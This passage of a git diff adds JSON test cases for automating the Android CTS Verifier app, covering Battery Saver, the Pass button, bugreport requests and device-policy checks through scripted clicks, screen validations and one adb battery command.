+{"uuid":"40e973e7-1cab-4d00-918a-195bb7aab758","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Battery Saver Test\",\"actionId\":\"40e973e7-1cab-4d00-918a-195bb7aab758\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Battery Saver Test\",\"actionId\":\"d19e8594-b0dc-45f0-aaf4-8fbcad812ad2\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Battery Saver Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"026ceb0a-45c4-49c0-81b7-c954eff5762d\",\"displayText\":\"Battery Saver Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Battery Saver Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":553.6666666666666,\"x2\":350.6666666666667,\"y2\":597.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":80.0,\"y\":575.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":100.0,\"y\":0.16666666666662877,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"026ceb0a-45c4-49c0-81b7-c954eff5762d\",\"firstText\":\"Battery Saver Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Battery Saver Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":152.0,\"y1\":582.0,\"x2\":8.0,\"y2\":569.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Battery Saver Test\",\"actionId\":\"8f42dc45-8c94-40f4-bffc-659ab4b010b0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Battery Saver Test\"},{\"type\":\"CommandLineAction\",\"name\":\"adb shell dumpsys battery unplug\",\"actionId\":\"d6c9bf5b-7331-4db6-b43b-adee3f3333d0\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell dumpsys battery unplug\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/btn_next\",\"actionId\":\"02a5c0e0-c429-45c8-b11b-712a1a240b6e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/btn_next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Battery Saver\",\"actionId\":\"cfafae19-8d57-43e7-a33c-c585547f8607\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Battery Saver\"},{\"type\":\"ConditionValidationAction\",\"name\":\"CClick \\\"Turn on\\\" for Battery Saver\",\"actionId\":\"9e6133a2-a57c-425d-9037-f0854c232335\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/btn_next\",\"actionId\":\"7d7a302a-310f-46ae-88d3-55f61ce3e007\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/btn_next\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-If Now use the button to turn Battery Saver off.\",\"actionId\":\"143faedf-3c39-4da4-8605-b85eb6746aed\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Now use the button to turn Battery Saver off.\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Battery Saver\",\"actionId\":\"0c7d5789-383f-4e31-9fe2-f0538ed88566\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Battery Saver\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/btn_next\",\"actionId\":\"4105d20c-343e-4728-8ea6-22ec410e453c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/btn_next\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-If All tests completed successfully.\",\"actionId\":\"759630cc-c728-4743-b8ce-7eec4cf86481\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"All tests completed successfully.\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"d19e8594-b0dc-45f0-aaf4-8fbcad812ad2\",\"8f42dc45-8c94-40f4-bffc-659ab4b010b0\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"d6c9bf5b-7331-4db6-b43b-adee3f3333d0\",\"02a5c0e0-c429-45c8-b11b-712a1a240b6e\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"cfafae19-8d57-43e7-a33c-c585547f8607\",\"9e6133a2-a57c-425d-9037-f0854c232335\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"7d7a302a-310f-46ae-88d3-55f61ce3e007\",\"143faedf-3c39-4da4-8605-b85eb6746aed\",\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"0c7d5789-383f-4e31-9fe2-f0538ed88566\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"4105d20c-343e-4728-8ea6-22ec410e453c\",\"759630cc-c728-4743-b8ce-7eec4cf86481\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Battery Saver Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.242000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/41618467-e1d1-4cb0-ba3c-c3230a3442bf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/41618467-e1d1-4cb0-ba3c-c3230a3442bf
new file mode 100644
index 0000000..4e9f9d6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/41618467-e1d1-4cb0-ba3c-c3230a3442bf
@@ -0,0 +1 @@
+{"uuid":"41618467-e1d1-4cb0-ba3c-c3230a3442bf","details":"{\"type\":\"CompoundAction\",\"name\":\"Validate Pass button\",\"actionId\":\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Wait for Pass button enabled\",\"actionId\":\"73b24e77-6d2d-4a8e-99ec-b0b3c57372d2\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"actionDescription\":\"timeout=10\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.ui_selector import UiSelector\\n\\n\\nd= Device.create_device_by_slot(0)\\n\\nphone_selector = UiSelector().resource_id(\\\"com.android.cts.verifier:id/pass_button\\\").attributes(\\\"enabled\\\", \\\"true\\\")\\nd.wait_for(selector=phone_selector, timeout=10)\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-Pass button enabled or not\",\"actionId\":\"4d541a78-c508-4dde-bdbf-28ddc0fc5e63\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/pass_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/pass_button\",\"actionId\":\"9e4e9690-0d46-4819-9615-c3d4dfc447f8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/pass_button\"}],\"childrenIdList\":[\"73b24e77-6d2d-4a8e-99ec-b0b3c57372d2\",\"4d541a78-c508-4dde-bdbf-28ddc0fc5e63\",\"9e4e9690-0d46-4819-9615-c3d4dfc447f8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Validate Pass button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.001000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4275df2b-8d38-49a9-b956-6d5f06257f5a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4275df2b-8d38-49a9-b956-6d5f06257f5a
new file mode 100644
index 0000000..98e4a45
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4275df2b-8d38-49a9-b956-6d5f06257f5a
@@ -0,0 +1 @@
+{"uuid":"4275df2b-8d38-49a9-b956-6d5f06257f5a","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Request bugreport button\",\"actionId\":\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Request bugreport\",\"actionId\":\"4b3ed003-c194-4fcb-8bc2-127787d8c928\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Request bugreport\"}],\"childrenIdList\":[\"4b3ed003-c194-4fcb-8bc2-127787d8c928\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Request bugreport button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.071000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/440786b7-f1d9-4c77-ad81-28068fe6a608 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/440786b7-f1d9-4c77-ad81-28068fe6a608
new file mode 100644
index 0000000..c401d30
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/440786b7-f1d9-4c77-ad81-28068fe6a608
@@ -0,0 +1 @@
+{"uuid":"440786b7-f1d9-4c77-ad81-28068fe6a608","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"WiFi config lockdown on\\\"\",\"actionId\":\"440786b7-f1d9-4c77-ad81-28068fe6a608\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, WiFi config lockdown on\",\"actionId\":\"3a941e5b-3e43-4c98-81ef-edcfd86cbfaf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"WiFi config lockdown on\"}],\"childrenIdList\":[\"3a941e5b-3e43-4c98-81ef-edcfd86cbfaf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"WiFi config lockdown on\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.088000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44291145-6774-4ba3-9caf-731853cef58e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44291145-6774-4ba3-9caf-731853cef58e
new file mode 100644
index 0000000..2c5172d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/44291145-6774-4ba3-9caf-731853cef58e
@@ -0,0 +1 @@
+{"uuid":"44291145-6774-4ba3-9caf-731853cef58e","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if screen back to 15-Policy transparency test\",\"actionId\":\"44291145-6774-4ba3-9caf-731853cef58e\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if screen still in Policy transparency test\",\"actionId\":\"53dc2186-d443-467a-b992-1ce70a13103e\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Policy transparency test\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6d3cbd80-d7ea-4d38-9898-bb6b83055ecd\",\"displayText\":\"Policy transparency test\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"93e7f232-2698-45e5-b3a5-116eb0d9ff4e\",\"displayText\":\"Navigate up\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageButton\",\"contentDesc\":\"Navigate up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":22.0,\"x2\":51.333333333333336,\"y2\":73.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Navigate up\"},{\"uuid\":\"05f9d089-fb2a-47b9-98d2-209ab91ec6dd\",\"displayText\":\"Policy transparency test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"text\":\"Policy transparency test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":35.333333333333336,\"x2\":273.0,\"y2\":60.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.0,\"y\":1.6666666666666714,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Policy transparency test\"}],\"className\":\"android.view.ViewGroup\",\"resourceId\":\"android:id/action_bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":22.0,\"x2\":360.0,\"y2\":73.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":166.5,\"y\":46.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":13.5,\"y\":1.6666666666666643,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"05f9d089-fb2a-47b9-98d2-209ab91ec6dd\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Policy transparency test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":33.0,\"x2\":278.0,\"y2\":59.0}},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Policy transparency test\",\"actionId\":\"2e07bac6-36eb-4877-a487-9c918120407a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Policy transparency test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"84d2c14c-aa92-4a52-b88f-f36f496ea5d2\",\"displayText\":\"Policy transparency test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Policy transparency test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":465.6666666666667,\"x2\":350.6666666666667,\"y2\":509.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":100.0,\"y\":489.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":80.0,\"y\":-1.8333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"84d2c14c-aa92-4a52-b88f-f36f496ea5d2\",\"firstText\":\"Policy transparency test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Policy transparency test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":470.0,\"x2\":193.0,\"y2\":509.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Policy transparency test\",\"actionId\":\"be16aacd-24be-41ad-ad63-56b9b6a81d5d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Policy transparency test\"}],\"childrenIdList\":[\"53dc2186-d443-467a-b992-1ce70a13103e\",\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"b36ee844-6807-46a4-9073-3d5c83f730fd\",\"2e07bac6-36eb-4877-a487-9c918120407a\",\"be16aacd-24be-41ad-ad63-56b9b6a81d5d\",\"336938a2-a45e-4245-a4a7-2f8704bc265d\",\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if screen back to 15-Policy transparency test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.119000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/446a3aa1-905d-4268-8532-5bf77fe7fbe6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/446a3aa1-905d-4268-8532-5bf77fe7fbe6
new file mode 100644
index 0000000..4e45d4d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/446a3aa1-905d-4268-8532-5bf77fe7fbe6
@@ -0,0 +1 @@
+{"uuid":"446a3aa1-905d-4268-8532-5bf77fe7fbe6","details":"{\"type\":\"CompoundAction\",\"name\":\"15-04-Disallow config cell broadcasts\",\"actionId\":\"446a3aa1-905d-4268-8532-5bf77fe7fbe6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config cell broadcasts\",\"actionId\":\"41b1ff1b-c557-442a-869a-edcf0945fd93\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config cell broadcasts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e4f4be4d-7073-4cf6-b299-27b4431487ac\",\"displayText\":\"Disallow config cell broadcasts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config cell broadcasts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":208.33333333333334,\"x2\":360.0,\"y2\":252.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":114.0,\"y\":231.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":66.0,\"y\":-1.1666666666666572,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"e4f4be4d-7073-4cf6-b299-27b4431487ac\",\"firstText\":\"Disallow config cell broadcasts\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config cell broadcasts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":211.0,\"x2\":220.0,\"y2\":252.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config cell broadcasts\",\"actionId\":\"3d2ced00-bd20-401f-bf72-5994d6b10c23\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config cell broadcasts\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Apps & notifications\",\"actionId\":\"8a9e042e-1768-41af-bfca-64d5aa905555\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Apps & notifications\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Wireless emergency alerts\",\"actionId\":\"7c0c17cc-4dd8-44ca-9c5e-3353cb6d1112\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Wireless emergency alerts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6456f79c-6642-43ce-bf67-90acd356ac01\",\"displayText\":\"Wireless emergency alerts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0477950a-5b42-47fa-b164-91a627432ace\",\"displayText\":\"Wireless emergency alerts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e595a4d2-c7e3-474b-a140-17ec5774c119\",\"displayText\":\"Wireless emergency alerts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c740afd6-88d3-45d1-956f-606c77965eb9\",\"displayText\":\"Wireless emergency alerts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Wireless emergency alerts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":66.0,\"y1\":575.0,\"x2\":241.66666666666666,\"y2\":594.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.166666666666686,\"y\":0.33333333333325754,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Wireless emergency alerts\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":66.0,\"y1\":560.3333333333334,\"x2\":285.6666666666667,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Wireless emergency alerts\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":0.0,\"y1\":560.3333333333334,\"x2\":300.3333333333333,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Wireless emergency alerts\"},{\"uuid\":\"52ccd4f5-d9ee-48c6-a995-58384cf769e8\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"2f1dd049-b191-43d2-94d2-58b416bc4f00\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/restricted_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":323.3333333333333,\"y1\":577.3333333333334,\"x2\":338.0,\"y2\":592.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":false,\"bounds\":{\"x1\":301.3333333333333,\"y1\":560.3333333333334,\"x2\":360.0,\"y2\":609.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysical